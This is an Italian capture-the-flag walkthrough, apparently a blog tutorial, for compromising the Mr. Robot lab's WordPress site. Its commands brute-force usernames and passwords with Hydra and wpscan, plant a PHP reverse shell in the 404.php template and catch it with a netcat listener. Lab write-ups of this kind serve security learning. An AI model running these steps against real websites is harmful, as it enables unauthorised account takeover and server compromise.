Bentornati amici appassionati di sicurezza! Oggi vi mostrerò come hackerare un sito web WordPress utilizzando il CTF di Mr. Robot come esempio. Ho appena lavorato attraverso questo eccellente CTF io stesso e ho imparato una tonnellata nel processo. Ho voluto alzare il mio gioco di Web Vulnerability Analysis di una tacca e ho iniziato con questo CTF.
Se volete davvero imparare la Cybersecurity, vi consiglio vivamente di leggere la mia enorme guida per principianti Getting started with Cybersecurity in 2019, dove vi insegno come iniziare, completamente gratis! Vale anche la pena di controllare l’articolo I migliori libri di hacking del 2019.
DISCLAIMER: Questo “come hackerare un sito WordPress” è un tutorial di hacking etico e orientato ai professionisti della sicurezza. Non, ripeto, non utilizzare queste tecniche senza il consenso scritto della parte ricevente. Se utilizzate questo tutorial in un contesto illegale, accuse legali e/o tempo di prigione potrebbero aspettarvi. Usate queste tecniche solo in un ambiente di laboratorio chiuso.
Un CTF è un cosiddetto gioco Capture the Flag, dove il vostro obiettivo è quello di raccogliere un certo numero di bandiere (o chiavi, se è per questo). I CTF sono utilizzati per praticare le vostre abilità di hacking in un ambiente sicuro e legale. Posso raccomandare Vulnhub come risorsa per una selezione di un eccellente CTF.
Ok, cominciamo.
- Passo 1 – Valutare se un sito web sta usando WordPress
- Passo 2 – Prendere il codice con Burpsuite
- Passo 3 – Trovare il nome utente corretto
- Passo 4 – Forzare i nomi utente con Hydra
- Passo 5 – Forzare la password
- Passo 6 – Implementare il codice maligno in WordPress
- Passo 7 – Avviare un listener Netcat
- Per favore condividi!
Passo 1 – Valutare se un sito web sta usando WordPress
Se non sai se un sito web sta usando WordPress o no, c’è un modo molto semplice per scoprirlo.
Puoi semplicemente digitare: www.addressofthewebsite.com/wp-admin
Che nella maggior parte dei casi farà apparire un wp-admin login gui, a meno che l’amministratore lo abbia disabilitato.
Un altro ottimo modo per controllare se un sito web sta usando WordPress è usando wpscan. Wpscan è preinstallato sia in Kali che in ParrotSec.
wpscan -u www.addressofyourtarget.com
Nel mio caso, la scansione della VM di Mr. Robot rivela quanto segue.
Come potete vedere, indica chiaramente che il sito sta usando WordPress. Inoltre, vi presenta 46 vulnerabilità identificate. Ora, la maggior parte degli hoster e le versioni recenti di WordPress bloccheranno una scansione come questa per impostazione predefinita. Quindi, molto probabilmente questo funzionerà solo con versioni obsolete di WordPress senza alcuna protezione da parte di un hoster.
Ok, fin qui tutto bene. Ora possiamo verificarlo controllando se la pagina di login esiste navigando all’URL del sito web + /wp-admin in questo modo:
E sicuramente, la maschera di Login viene fuori.
Passo 2 – Prendere il codice con Burpsuite
Ora arriva la parte difficile, trovare il nome utente. Potresti iniziare con admin, ma WordPress di solito genera un nome utente casuale, quindi potrebbe essere difficile da capire e potresti aver bisogno di fare ulteriori ricerche sull’obiettivo.
Nell’esempio di Mr. Robot, so che il nome utente è Elliot (non troppo difficile da indovinare). Potresti anche provare ad eseguire hydra contro un paio di liste di username, ma prima, abbiamo bisogno di usare burpsuite per prendere un po’ di codice dalla pagina di login.
Avvia burpsuite digitando
sudo burpsuite
Crea un nuovo progetto temporaneo usando le impostazioni predefinite di Burp.
Passa alla scheda Target -> Scope e clicca su Add per includere la pagina wp-login nello scope. Seleziona Yes nel dialogo pop-up.
Poi, vai al menu Preferenze di Firefox e scorri fino in fondo fino a trovare Network Proxy. Cliccate su Impostazioni.
Selezionate Manual proxy configuration e inserite l’IP 127.0.0.1 e la porta 8080. Spunta “Usa questo server proxy per tutti i protocolli”. Clicca su OK.
Torna a Burpsuite. Aprire la scheda Proxy. Ora torna alla pagina WP-Login. Inserisci un nome utente e una password a caso e clicca su Log In. Assicurati che Privacy Badger, uBlock Origins e NoScript siano disabilitati per il sito.
Una volta cliccato su login, torna su Burpsuite e guarda l’output.
log=root&pwd=1234&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.109%2Fwp-admin%2F&testcookie=1
Ora abbiamo qualcosa che possiamo dare in pasto a Hydra.
Passo 3 – Trovare il nome utente corretto
Facciamo un po’ di divertimento per darvi un’idea di come potreste trovare il nome utente del vostro obiettivo. La VM che stiamo usando per questo esempio, come detto sopra, è a tema Mr. Quindi è molto probabile che il nome utente sarà trovato in qualche banalità che ha a che fare con Mr. Robot.
Prima torna al tuo Burpsuite e chiudilo. Non ne abbiamo più bisogno in questo momento. Torna anche alle tue impostazioni Proxy e disabilita di nuovo il Proxy.
Ora mi dirigo verso la pagina Wikipedia di Mr. Robot: https://en.wikipedia.org/wiki/Mr._Robot
E creerò una lista di nomi utente da questa pagina esatta usando CeWL.
Apri una nuova finestra del terminale e digita
sudo cewl -w usernames.txt -d1 -m4 https://en.wikipedia.org/wiki/Mr._Robot
Facciamo questo.
- -w usernames.txt – dovrebbe essere abbastanza chiaro, questo è il nome della wordlist che verrà creata
- -d1 – Definisce la profondità con cui CeWL scansionerà il sito web. 1 indica che rimarrà esattamente su questo sito e non aprirà alcun link su di esso.
- -m4 – Definisce la lunghezza minima della parola che sarà messa nella lista
- https://en.wikipedia.org/wiki/Mr._Robot – ovviamente il sito web che strisceremo.
Così, come vedi, puoi applicare questa tecnica a qualsiasi sito web rilevante per l’obiettivo.
Eseguire un rapido
ls
ci mostra che il nostro usernames.txt è stato creato.
In alcuni casi si ha fortuna usando wpscan per enumerare gli username, quindi provate sempre anche questo:
wpscan --url http://www.targetwebsite.com --enumerate u
Ora useremo Hydra per forzare questa lista contro la pagina wp-login.
Passo 4 – Forzare i nomi utente con Hydra
Ok, è ora di dare i nomi utente al nostro Hydra. Ho trovato questo particolare metodo su uno dei tanti Walkthroughs di Vulnhub, anche se non ricordo esattamente quale fosse, ma do credito a chi lo merita. Aprite una nuova finestra del terminale e digitate:
hydra -V -L usernames.txt -p whatever 192.168.1.109 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log:F=Invalid username'
Distruggiamo questo.
- -V – Verbose
- -L – Our usernames.txt list
- -p whatever – La password, non ci interessa, perché vogliamo scoprire il nome utente
- http-post-form – Il tipo di attacco Brute Force che vogliamo eseguire
- /wp-login.php – Il percorso del modulo di login
- log = ^USER^&pwd=^PASS^&wp-submit=Log+In – I valori che saranno inviati al modulo, dove ^USER^ e ^PASS^ sono segnaposto per le nostre opzioni -L e -p
- F=Invalid username – Dice a hydra che il tentativo è fallito se restituisce Invalid username
Va bene, eseguiamo il comando, no?
E sicuramente, ci viene restituito che il login con il nome utente elliot ha avuto successo (Cosa che non è stata, ha solo confermato che il modulo web non ha restituito nome utente non valido).
Quindi dobbiamo ancora capire la password. Ma almeno abbiamo un nome utente.
Passo 5 – Forzare la password
Ora potremmo anche usare Hydra per forzare la password dell’utente, ma preferisco usare wpscan perché la sintassi è più facile.
wpscan --url http://192.168.1.109/wp-login.php --passwords /usr/share/wordlists/rockyou.txt.gz --usernames elliot --wp-content-dir http://192.168.1.109/wp-login.php
rockyou.txt.gz è solo un esempio, sostituiscilo con qualsiasi lista di password tu voglia usare.
E voilà, abbiamo ottenuto il nome utente e la password.
Passo 6 – Implementare il codice maligno in WordPress
Va bene, ora che abbiamo l’accesso Admin a WordPress, ci sono un paio di modi in cui possiamo andare da qui. Vi mostrerò uno dei più facili.
Sul vostro computer attaccante andate su Places -> File System -> usr -> share -> webshells -> php e aprite php-reverse-shell.php
Copia tutto il suo contenuto:
Ora in WordPress, vai su Appearance -> Editor e seleziona il template 404.php. Questo è solo un esempio, puoi implementare il codice in molti modi diversi.
Ora incolla il tuo codice qui in modo che assomigli a questo:
Modifica le linee marcate in giallo in modo che l’IP punti al tuo computer che attacca e scegli una porta.
Passo 7 – Avviare un listener Netcat
Ora torniamo sul computer attaccante, avviamo un listener Netcat:
nc -lvp 443
Poi aprirai la pagina 404 come se andassi al link: www.yourtargetwebsite.com/404
E siamo dentro! Non solo abbiamo hackerato l’account di amministrazione di WordPress, ma abbiamo anche avuto accesso al server stesso. Da qui è necessario utilizzare le proprie abilità per ottenere un accesso elevato, ma questo non dovrebbe essere più troppo difficile ora.
Vedi, i CTF sono un ottimo modo per imparare nuove cose.
Fino alla prossima volta, continua ad hackerare!
*Tutte le tecniche fornite nei tutorial su ceos3c.com sono esclusivamente a scopo didattico.
Tutte le tecniche qui insegnate devono essere usate solo in un ambiente di laboratorio chiuso o in accordo con una seconda parte.
Se stai usando una qualsiasi di queste tecniche per scopi illegali, Ceos3c non può essere ritenuto responsabile per eventuali conseguenze legali.